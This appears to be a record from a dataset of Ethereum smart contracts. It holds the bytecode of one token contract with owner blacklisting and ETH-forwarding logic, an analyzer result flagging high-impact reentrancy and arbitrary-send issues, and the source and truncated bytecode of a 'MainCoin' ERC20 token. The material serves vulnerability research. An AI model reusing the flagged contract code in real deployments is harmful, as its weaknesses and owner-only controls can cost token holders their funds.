093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2a565b610a7f565b3480156105e857600080fd5b506101fc6105f7366004611ae2565b610aae565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c32565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c93565b915050610632565b5050565b60006106a8338484610b98565b5060015b92915050565b60006106bf848484610cbc565b610711843361070c85604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f8565b610b98565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c32565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ce57600080fd5b476107d881611232565b50565b6001600160a01b0381166000908152600260205260408120546106ac9061126c565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161062690611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089b5760405162461bcd60e51b815260040161062690611c32565b6611c37937e0800081116108ae57600080fd5b601555565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260040161062690611c32565b601454600160a01b900460ff16156108f457600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161062690611c32565b601755565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161062690611c32565b6009548211158061097e5750600b548111155b61098757600080fd5b600893909355600a91909155600955600b55565b60006106a8338484610cbc565b6012546001600160a01b0316336001600160a01b0316146109c857600080fd5b60006109d3306107db565b90506107d8816112f0565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161062690611c32565b60005b82811015610a79578160056000868685818110610a2a57610a2a611c67565b9050602002016020810190610a3f9190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611c93565b915050610a0b565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161062690611c32565b601655565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161062690611c32565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b156110f157601454600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601554811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3d57506001600160a01b03821660009081526010602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6014546001600160a01b0383811691161461101a5760165481610fb7846107db565b610fc19190611cae565b1061101a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b6000611025306107db565b60175460155491925082101590821061103e5760155491505b8080156110555750601454600160a81b900460ff16155b801561106f57506014546001600160a01b03868116911614155b80156110845750601454600160b01b900460ff165b80156110a957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ce57506001600160a01b03841660009081526005602052604090205460ff16155b156110ee576110dc826112f0565b4780156110ec576110ec47611232565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113357506001600160a01b03831660009081526005602052604090205460ff165b8061116557506014546001600160a01b0385811691161480159061116557506014546001600160a01b03848116911614155b15611172575060006111ec565b6014546001600160a01b03858116911614801561119d57506013546001600160a01b03848116911614155b156111af57600854600c55600954600d555b6014546001600160a01b0384811691161480156111da57506013546001600160a01b03858116911614155b156111ec57600a54600c55600b54600d555b610a798484848461146a565b6000818484111561121c5760405162461bcd60e51b81526004016106269190611a20565b5060006112298486611cc6565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112dd611498565b90506112e983826114bb565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857611338611c67565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b59190611cdd565b816001815181106113c8576113c8611c67565b6001600160a01b0392831660209182029290920101526013546113ee9130911684610b98565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611427908590600090869030904290600401611cfa565b600060405180830381600087803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611477576114776114fd565b61148284848461152b565b80610a7957610a79600e54600c55600f54600d55565b60008060006114a5611622565b90925090506114b482826114bb565b9250505090565b60006112e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611662565b600c5415801561150d5750600d54155b1561151457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153d87611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156f90876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159e908661172f565b6001600160a01b0389166000908152600260205260409020556115c08161178e565b6115ca84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163d82826114bb565b82101561165957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116835760405162461bcd60e51b81526004016106269190611a20565b5060006112298486611d6b565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd611498565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f8565b60008061173c8385611cae565b9050838110156112e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b6000611798611498565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b906114bb565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826118b0575060006106ac565b60006118bc8385611d8d565b9050826118c98583611d6b565b146112e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d857600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112e981611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112e982611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca757611ca7611c7d565b5060010190565b60008219821115611cc157611cc1611c7d565b500190565b600082821015611cd857611cd8611c7d565b500390565b600060208284031215611cef57600080fd5b81516112e981611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cbf1ca3ec8f132d0a859359f8bf437654d167a50682af9186b20e3f1ce9be8bd64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,029
0x9f0f1be08591ab7d990faf910b38ed5d60e4d5bf
pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function _mint(address _account, uint256 _amount) internal { require(_account != 0); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal _burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { _burnFrom(_from, _value); } /** * @dev Overrides StandardToken._burn in order for burn and burnFrom to emit * an additional Burn event. */ function _burn(address _who, uint256 _value) internal { super._burn(_who, _value); emit Burn(_who, _value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /// @title Alex token implementation /// @author Aler Denisov <aler.zampillo@gmail.com> /// @dev Implements ERC20 contract MainCoin is BurnableToken, Ownable { /// @notice Constant field with token full name // solium-disable-next-line uppercase string constant public name = "MainCoin"; /// @notice Constant field with token symbol string constant public symbol = "MNC"; // solium-disable-line uppercase /// @notice Constant field with token precision depth uint256 constant public decimals = 18; // solium-disable-line uppercase /// @notice Constant field with token cap (total supply limit) - 500M uint256 constant public initial = 500 ether * 10 ** 6; // solium-disable-line uppercase mapping (address=>bool) public allowedAddresses; bool public unfrozen; event Unfreeze(); constructor() public { _mint(msg.sender, initial); } function allowTransfer(address _for) public onlyOwner returns (bool) { allowedAddresses[_for] = true; return true; } function disableTransfer(address _for) public onlyOwner returns (bool) { allowedAddresses[_for] = false; return true; } modifier isTrasferAllowed(address a, address b) { require(unfrozen || allowedAddresses[a] || allowedAddresses[b]); _; } /// @notice Finalizes contract /// @dev Requires owner role to interact /// @return A boolean that indicates if the operation was successful. function unfreeze() public onlyOwner returns (bool) { require(!unfrozen); unfrozen = true; emit Unfreeze(); return true; } /// @dev Overrides burnable interface to prevent interaction before finalization function burn(uint256 _value) public isTrasferAllowed(msg.sender, address(0x0)) { super.burn(_value); } /// @dev Overrides burnable interface to prevent interaction before finalization function burnFrom(address _from, uint256 _value) isTrasferAllowed(_from, address(0x0)) public { super.burnFrom(_from, _value); } /// @dev Overrides ERC20 interface to prevent interaction before finalization function transferFrom(address _from, address _to, uint256 _value) public isTrasferAllowed(_from, _to) returns (bool) { return super.transferFrom(_from, _to, _value); } /// @dev Overrides ERC20 interface to prevent interaction before finalization function transfer(address _to, uint256 _value) public isTrasferAllowed(msg.sender, _to) returns (bool) { return super.transfer(_to, _value); } /// @dev Overrides ERC20 interface to prevent interaction before finalization function approve(address _spender, uint256 _value) public isTrasferAllowed(msg.sender, _spender) returns (bool) { return super.approve(_spender, _value); } /// @dev Overrides ERC20 interface to prevent interaction before finalization function increaseApproval(address _spender, uint256 _addedValue) public isTrasferAllowed(msg.sender, _spender) returns (bool) { return super.increaseApproval(_spender, _addedValue); } /// @dev Overrides ERC20 interface to prevent interaction before finalization function decreaseApproval(address _spender, uint256 _subtractedValue) public isTrasferAllowed(msg.sender, _spender) returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461022257806323b872dd1461024d578063313ce567146102d25780634120657a146102fd57806342966c6814610358578063432e89461461038557806366188463146103e05780636a28f0001461044557806370a0823114610474578063715018a6146104cb57806379cc6790146104e25780638da5cb5b1461052f57806395d89b4114610586578063a034062514610616578063a9059cbb14610645578063b3490bfc146106aa578063bb806dc914610705578063d73dd62314610730578063dd62ed3e14610795578063f2fde38b1461080c575b600080fd5b34801561013957600080fd5b5061014261084f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610888565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610963565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061096d565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610a4a565b6040518082815260200191505060405180910390f35b34801561030957600080fd5b5061033e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a4f565b604051808215151515815260200191505060405180910390f35b34801561036457600080fd5b5061038360048036038101908080359060200190929190505050610a6f565b005b34801561039157600080fd5b506103c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b43565b604051808215151515815260200191505060405180910390f35b3480156103ec57600080fd5b5061042b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561045157600080fd5b5061045a610cdd565b604051808215151515815260200191505060405180910390f35b34801561048057600080fd5b506104b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da5565b6040518082815260200191505060405180910390f35b3480156104d757600080fd5b506104e0610ded565b005b3480156104ee57600080fd5b5061052d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef2565b005b34801561053b57600080fd5b50610544610fc8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059257600080fd5b5061059b610fee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105db5780820151818401526020810190506105c0565b50505050905090810190601f1680156106085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561062257600080fd5b5061062b611027565b604051808215151515815260200191505060405180910390f35b34801561065157600080fd5b50610690600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103a565b604051808215151515815260200191505060405180910390f35b3480156106b657600080fd5b506106eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611115565b604051808215151515815260200191505060405180910390f35b34801561071157600080fd5b5061071a6111d4565b6040518082815260200191505060405180910390f35b34801561073c57600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e4565b604051808215151515815260200191505060405180910390f35b3480156107a157600080fd5b506107f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bf565b6040518082815260200191505060405180910390f35b34801561081857600080fd5b5061084d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611346565b005b6040805190810160405280600881526020017f4d61696e436f696e00000000000000000000000000000000000000000000000081525081565b60003383600560009054906101000a900460ff16806108f05750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806109445750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561094f57600080fd5b61095985856113ae565b9250505092915050565b6000600254905090565b60008383600560009054906101000a900460ff16806109d55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610a295750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610a3457600080fd5b610a3f8686866114a0565b925050509392505050565b601281565b60046020528060005260406000206000915054906101000a900460ff1681565b336000600560009054906101000a900460ff1680610ad65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610b2a5750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610b3557600080fd5b610b3e8361185b565b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba157600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60003383600560009054906101000a900460ff1680610c6a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610cbe5750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610cc957600080fd5b610cd38585611868565b9250505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3b57600080fd5b600560009054906101000a900460ff16151515610d5757600080fd5b6001600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a16001905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b816000600560009054906101000a900460ff1680610f595750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610fad5750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610fb857600080fd5b610fc28484611afa565b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d4e43000000000000000000000000000000000000000000000000000000000081525081565b600560009054906101000a900460ff1681565b60003383600560009054906101000a900460ff16806110a25750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110f65750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561110157600080fd5b61110b8585611b08565b9250505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117357600080fd5b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6b019d971e4fe8401e7400000081565b60003383600560009054906101000a900460ff168061124c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806112a05750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156112ab57600080fd5b6112b58585611d28565b9250505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff